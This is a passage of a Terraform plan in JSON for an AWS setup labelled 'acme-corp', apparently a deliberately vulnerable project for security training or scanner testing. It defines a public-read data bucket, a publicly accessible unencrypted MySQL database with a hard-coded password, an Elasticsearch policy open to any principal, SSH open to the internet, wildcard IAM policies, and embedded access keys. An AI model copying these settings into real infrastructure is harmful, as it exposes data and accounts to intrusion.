"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "schema_version": 0, "values": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "schema_version": 0, "values": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-rtb" } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "schema_version": 0, "values": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "schema_version": 0, "values": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "schema_version": 1, "values": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "schema_version": 0, "values": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "schema_version": 0, "values": { "triggers": null } } ] } }, "resource_changes": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "backup_window": true, "ca_cert_identifier": true, "character_set_name": true, "endpoint": true, "hosted_zone_id": true, "id": true, "identifier_prefix": true, "kms_key_id": true, "license_model": true, "maintenance_window": true, "monitoring_role_arn": true, "performance_insights_kms_key_id": true, "performance_insights_retention_period": true, "port": true, "replicas": true, "resource_id": true, "s3_import": [], "status": true, "storage_type": true, "tags": {}, "timezone": true, "vpc_security_group_ids": true } } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "option": [], "tags": {} } } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "parameter": [ {}, {} ], "tags": {} } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "subnet_ids": true, "tags": {} } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null }, "after_unknown": { "arn": true, "data_encryption_key_id": true, "encrypted": true, "id": true, "kms_key_id": true, "owner_alias": true, "owner_id": true, "tags": {}, "volume_id": true, "volume_size": true } } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } }, "after_unknown": { "arn": true, "encrypted": true, "id": true, "iops": true, "kms_key_id": true, "snapshot_id": true, "tags": {}, "type": true } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null }, "after_unknown": { "arn": true, "encryption_configuration": [], "id": true, "image_scanning_configuration": [], "registry_id": true, "repository_url": true, "tags": {} } } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] }, "after_unknown": { "arn": true, "certificate_authority": true, "created_at": true, "encryption_config": [], "endpoint": true, "id": true, "identity": true, "platform_version": true, "role_arn": true, "status": true, "version": true, "vpc_config": [ { "cluster_security_group_id": true, "public_access_cidrs": true, "subnet_ids": true, "vpc_id": true } ] } } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] }, "after_unknown": { "access_policies": true, "advanced_options": true, "advanced_security_options": true, "arn": true, "cluster_config": [ { "zone_awareness_config": [] } ], "cognito_options": [], "domain_endpoint_options": true, "domain_id": true, "ebs_options": [ { "volume_type": true } ], "encrypt_at_rest": true, "endpoint": true, "id": true, "kibana_endpoint": true, "log_publishing_options": [], "node_to_node_encryption": true, "snapshot_options": [], "vpc_options": [] } } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" }, "after_unknown": { "id": true } } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } }, "after_unknown": { "access_logs": [], "arn": true, "availability_zones": true, "dns_name": true, "health_check": [ {} ], "id": true, "instances": true, "internal": true, "listener": [ {} ], "security_groups": true, "source_security_group": true, "source_security_group_id": true, "subnets": true, "tags": {}, "zone_id": true } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" }, "after_unknown": { "arn": true, "id": true, "log_destination": true, "log_format": true, "log_group_name": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "pgp_key": null, "user": "123456789123-acme-corp-user" }, "after_unknown": { "encrypted_secret": true, "id": true, "key_fingerprint": true, "secret": true, "ses_smtp_password_v4": true, "status": true } } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } }, "after_unknown": { "arn": true, "create_date": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "after_unknown": { "id": true, "role": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } }, "after_unknown": { "arn": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" }, "after_unknown": { "id": true } } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "user_data": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-igw" } }, "after_unknown": { "arn": true, "id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null }, "after_unknown": { "arn": true, "id": true, "target_key_arn": true, "target_key_id": true } } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null }, "after_unknown": { "arn": true, "id": true, "key_id": true, "policy": true } } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] }, "after_unknown": { "arn": true, "dead_letter_config": [], "environment": [ { "variables": {} } ], "file_system_config": [], "id": true, "invoke_arn": true, "last_modified": true, "qualified_arn": true, "role": true, "source_code_size": true, "tracing_config": true, "version": true, "vpc_config": [] } } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "availability_zones": true, "cluster_identifier_prefix": true, "cluster_members": true, "cluster_resource_id": true, "endpoint": true, "engine_version": true, "hosted_zone_id": true, "id": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_maintenance_window": true, "reader_endpoint": true, 